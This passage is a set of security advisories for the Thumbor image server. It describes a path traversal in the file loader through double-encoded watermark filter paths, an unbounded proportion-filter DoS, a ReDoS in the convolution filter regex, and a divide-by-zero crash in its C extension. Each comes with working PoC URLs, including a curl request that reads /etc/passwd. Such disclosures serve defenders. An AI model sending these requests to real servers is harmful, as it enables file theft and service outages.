    match = res.hostname

This is a one-call addition with no breaking change for correctly written configurations. Users who need real regular-expression behaviour should supply a compiled pattern (re.compile(r"s\.glbimg\.com")), which is already handled by the existing isinstance(pattern, Pattern) branch and is unaffected by this change.

The ALLOWED_SOURCES docstring in config.py was also updated to document the two-mode behaviour explicitly.

The file_loader performs unquote() on the file path AFTER the abspath() + startswith() security check. An attacker can use percent-encoded path traversal sequences (%2e%2e for ..) that pass the security check as literal directory names, but are then decoded to actual .. traversal sequences.

Affected code

thumbor/loaders/file_loader.py lines 28-49:

async def load(context, path):
    file_path = join(
        context.config.FILE_LOADER_ROOT_PATH.rstrip("/"), path.lstrip("/")
    )
    file_path = abspath(file_path)
    inside_root_path = file_path.startswith(         # Security check
        abspath(context.config.FILE_LOADER_ROOT_PATH)
    )
    result = LoaderResult()
    if not inside_root_path:
        result.error = LoaderResult.ERROR_NOT_FOUND
        result.successful = False
        return result

    if not exists(file_path):
        file_path = unquote(file_path)               # unquote AFTER check!

    if exists(file_path) and isfile(file_path):
        with open(file_path, "rb") as source_file:
            ...

The watermark and frame filters pass their URL parameters directly to the loader without re-encoding (unlike the main image URL flow which applies quote() in imaging.py line 37).

PoC

# Read /etc/passwd via watermark filter path traversal
# %252e is double-encoded: Tornado decodes to %2e, filter passes to file_loader,
# file_loader unquote decodes %2e to .
curl 'http://thumbor-host:8888/unsafe/filters:watermark(%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd,0,0,100)/some-valid-image.jpg'

Flow:

1. %252e%252e arrives at Tornado, decoded to %2e%2e
2. Watermark filter passes %2e%2e/%2e%2e/.../etc/passwd to file_loader
3. join(ROOT, '%2e%2e/...') = ROOT/%2e%2e/...
4. abspath() sees %2e%2e as literal dir name (no dots to resolve)
5. startswith(ROOT) = True (passes check)
6. exists() returns False (literal %2e%2e dir doesn't exist)
7. unquote() converts %2e%2e to ..
8. OS resolves .. → reads files outside ROOT

Prerequisites

• LOADER = thumbor.loaders.file_loader (or file_loader_http_fallback)
• ALLOW_UNSAFE_URL = True (this is the default)
• watermark/frame filters are enabled by default (in BUILTIN_FILTERS)

Impact

Arbitrary file read on the thumbor server. When the file is a valid image format, its content is returned in the response overlaid as a watermark. Can be used to read configuration files, secrets, private keys, etc.

Summary

Thumbor's filters:proportion(<value>) filter does not enforce an upper bound on <value> and runs in the post-transform phase. An attacker can trigger extremely large resizes (CPU/memory exhaustion) and cause denial of service.

Details

• Filter implementation: thumbor/filters/proportion.py
  • value is parsed as a float (BaseFilter.DecimalNumber) with no maximum.
  • The filter computes new_width = source_width * value and new_height = source_height * value and then calls engine.resize(new_width, new_height).
• Execution phase: proportion runs in the default POST_TRANSFORM phase (after the main transform pipeline). This means it can effectively bypass request-level size clamping that happens earlier in the request lifecycle (e.g., MAX_WIDTH/MAX_HEIGHT applied to req.width/req.height).

Documentation states the percentage argument should be 0.0 to 1.0 (docs/proportion.rst), but the implementation does not enforce this constraint.

PoC

Preconditions

• The proportion filter is enabled (it is enabled by default via BUILTIN_FILTERS).
• Either:
  • /unsafe/ URLs are allowed (ALLOW_UNSAFE_URL=True, common default in some deployments), OR
  • /unsafe/ is disabled, and the attacker has a valid signed URL (i.e., the attacker is an authorized user/partner, or otherwise can obtain signed URLs issued by a trusted signing service).

Example request 1 (signed URL)

The following request was used to reproduce the issue and causes severe resource exhaustion:

http://<host>:<port>/<url-sign>/100x100/filters:proportion(10000)/example.jpg

Example request 2 (/unsafe/)

If /unsafe/ is enabled:

http://<host>:<port>/unsafe/100x100/filters:proportion(10000)/example.jpg

Impact

• Remote Denial of Service via CPU and/or memory exhaustion (and potentially process crash / OOM kill).
• Exploitability depends on deployment:
  • If /unsafe/ is enabled: unauthenticated remote DoS.
  • If /unsafe/ is disabled: the attacker needs a valid signed URL (i.e., the attacker can legitimately request signed URLs, or has access to signed URLs issued for other users/partners). If signed URLs are not exposed to untrusted parties, exploitability is reduced but the risk still applies to any party who can generate/use signed URLs.

Suggested remediation

• Enforce a strict bound on the proportion parameter (e.g., 0.0 < value <= 1.0 as documented), or define a safe maximum based on intended semantics.

Summary

The regular expression used to parse the convolution filter exhibits exponential-time backtracking for certain inputs, enabling a Regular Expression Denial of Service (ReDoS).

Details

The RegExp for convolution is defined as convolution\((?:\s*((?:[-]?[\d]+\.?[\d]*[;])*(?:[-]?[\d]+\.?[\d]*))\s*)(?:,\s*([\d]+)\s*)(?:,\s*([Tt]rue|[Ff]alse|1|0)\s*)?\). Within this expression a dangerous subpattern effectively behaves like (\d+)*,\d+.

PoC

A filter string containing many repeated values will exhaust re.match:

• convolution(-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11)
• http://localhost:8888/unsafe/0x0/smart/filters:convolution(-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11)/x.png

The evaluation occurs on https://github.com/thumbor/thumbor/blob/master/thumbor/filters/init.py#L189.

Impact

A specially crafted URL will lead to denial of service, as new images won't be processed until re.match returns.

Summary

Thumbor's filters:convolution(<matrix>, <columns>, <should_normalize>) filter passes the user-controlled <columns> value to a C extension (thumbor/ext/filters/_convolution.c) where it is used as a divisor (for % and /) without validating columns > 0. When columns=0, the C code triggers undefined behavior; on x86_64 this reliably results in a fatal divide-by-zero trap (SIGFPE) and crashes the Thumbor process (confirmed on Linux x86_64 and macOS Intel x86_64), causing a remote denial of service.

Details

Root cause

The Python filter accepts columns=0, and the native C extension uses columns_count as a divisor without validating it.

1. Python filter entry point allows columns=0 (thumbor/filters/convolution.py):

@filter_method(
    r"(?:[-]?[\d]+\.?[\d]*[;])*(?:[-]?[\d]+\.?[\d]*)",
    BaseFilter.PositiveNumber,  # accepts 0
    BaseFilter.Boolean,
)
async def convolution(self, matrix, columns, should_normalize=True):
    ...
    imgdata = _convolution.apply(..., matrix, columns, should_normalize)

BaseFilter.PositiveNumber matches "0" (thumbor/filters/__init__.py):

class BaseFilter:
    PositiveNumber = {"regex": r"[\d]+", "parse": int}  # matches "0"
    PositiveNonZeroNumber = {"regex": r"[\d]*[1-9][\d]*", "parse": int}

2. C extension divides/modulos by columns_count without a zero check (thumbor/ext/filters/_convolution.c):

kernel_size = PyTuple_Size(kernel_tuple);
if ((kernel_size % columns_count != 0) ||
    (kernel_size % 2 == 0) ||
    ((kernel_size / columns_count) % 2) == 0) {
    // TODO: error, not a valid kernel
    return NULL;
}

PoC

Test environment

• Linux x86_64

Preconditions

• The convolution filter is enabled (it is enabled by default via BUILTIN_FILTERS).
• Either:
  • /unsafe/ URLs are allowed (ALLOW_UNSAFE_URL=True), OR
  • /unsafe/ is disabled, and the attacker has a valid signed URL (i.e., the attacker is an authorized user/partner, or can obtain signed URLs from a trusted signing service).

Example request (signed URL)

http://<host>:<port>/<url-sign>/400x400/filters:convolution(1;2;1;2;4;2;1;2;1,0,true)/example.jpg

Example request (/unsafe/)

http://<host>:<port>/unsafe/400x400/filters:convolution(1;2;1;2;4;2;1;2;1,0,true)/example.jpg

Impact

• Remote Denial of Service via process crash (SIGFPE) on x86_64 (confirmed on Linux x86_64 and macOS Intel x86_64).
• Exploitability depends on deployment:
  • If /unsafe/ is enabled: unauthenticated remote DoS.
  • If /unsafe/ is disabled: the attacker needs a valid signed URL.(i.e., the attacker is an authorized user/partner, or can obtain signed URLs from a trusted signing service)

Suggested remediation

• In the C extension (thumbor/ext/filters/_convolution.c):
  • Reject columns_count <= 0 before any % or /.
• In the Python filter (thumbor/filters/convolution.py):
  • Require columns to be non-zero (e.g., use BaseFilter.PositiveNonZeroNumber).